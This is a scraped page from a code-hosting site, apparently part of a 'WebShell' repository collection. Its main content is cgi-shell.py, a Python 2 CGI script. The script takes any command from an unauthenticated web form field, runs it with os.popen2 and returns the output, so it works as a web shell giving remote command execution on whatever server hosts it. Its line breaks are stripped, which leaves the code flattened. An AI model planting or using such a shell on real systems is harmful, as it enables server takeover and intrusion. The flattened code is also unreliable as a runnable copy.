同步操作将从 Handsome/WebShell 强制同步,此操作会覆盖自 Fork 仓库以来所做的任何修改,且无法恢复!!!
确定后同步将在后台操作,完成时将刷新页面,请耐心等待。
#!/usr/bin/python# 07-07-04# v1.0.0# cgi-shell.py# A simple CGI that executes arbitrary shell commands.# Copyright Michael Foord# You are free to modify, use and relicense this code.# No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code....# Use at your own risk !!!# E-mail michael AT foord DOT me DOT uk# Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html"""A simple CGI script to execute shell commands via CGI."""################################################################# Importstry:import cgitb; cgitb.enable()except:passimport sys, cgi, ossys.stderr = sys.stdoutfrom time import strftimeimport tracebackfrom StringIO import StringIOfrom traceback import print_exc################################################################# constantsfontline = '<FONT COLOR=#424242 style="font-family:times;font-size:12pt;">'versionstring = 'Version 1.0.0 7th July 2004'if os.environ.has_key("SCRIPT_NAME"):scriptname = os.environ["SCRIPT_NAME"]else:scriptname = ""METHOD = '"POST"'################################################################# Private functions and variablesdef getform(valuelist, theform, notpresent=''):"""This function, given a CGI form, extracts the data from it, based onvaluelist passed in. Any non-present values are set to '' - although this can be changed.(e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""data = {}for field in valuelist:if not theform.has_key(field):data[field] = notpresentelse:if type(theform[field]) != type([]):data[field] = theform[field].valueelse:values = map(lambda x: x.value, theform[field]) # allows for list type valuesdata[field] = valuesreturn datatheformhead = """<HTML><HEAD><TITLE>cgi-shell.py - a CGI by Fuzzyman</TITLE></HEAD><BODY><CENTER><H1>Welcome to cgi-shell.py - <BR>a Python CGI</H1><B><I>By Fuzzyman</B></I><BR>"""+fontline +"Version : " + versionstring + """, Running on : """ + strftime('%I:%M %p, %A %d %B, %Y')+'.</CENTER><BR>'theform = """<H2>Enter Command</H2><FORM METHOD=\"""" + METHOD + '" action="' + scriptname + """\"><input name=cmd type=text><BR><input type=submit value="Submit"><BR></FORM><BR><BR>"""bodyend = '</BODY></HTML>'errormess = '<CENTER><H2>Something Went Wrong</H2><BR><PRE>'################################################################# main body of the scriptif __name__ == '__main__':print "Content-type: text/html" # this is the header to the serverprint # so is this blank lineform = cgi.FieldStorage()data = getform(['cmd'],form)thecmd = data['cmd']print theformheadprint theformif thecmd:print '<HR><BR><BR>'print '<B>Command : ', thecmd, '<BR><BR>'print 'Result : <BR><BR>'try:child_stdin, child_stdout = os.popen2(thecmd)child_stdin.close()result = child_stdout.read()child_stdout.close()print result.replace('\n', '<BR>')except Exception, e: # an error in executing the commandprint errormessf = StringIO()print_exc(file=f)a = f.getvalue().splitlines()for line in a:print lineprint bodyend"""TODO/ISSUESCHANGELOG07-07-04 Version 1.0.0A very basic system for executing shell commands.I may expand it into a proper 'environment' with session persistence..."""
此处可能存在不合适展示的内容,页面不予展示。您可通过相关编辑功能自查并修改。
如您确认内容无涉及 不当用语 / 纯广告导流 / 暴力 / 低俗色情 / 侵权 / 盗版 / 虚假 / 无价值内容或违法国家有关法律法规的内容,可点击提交进行申诉,我们将尽快为您处理。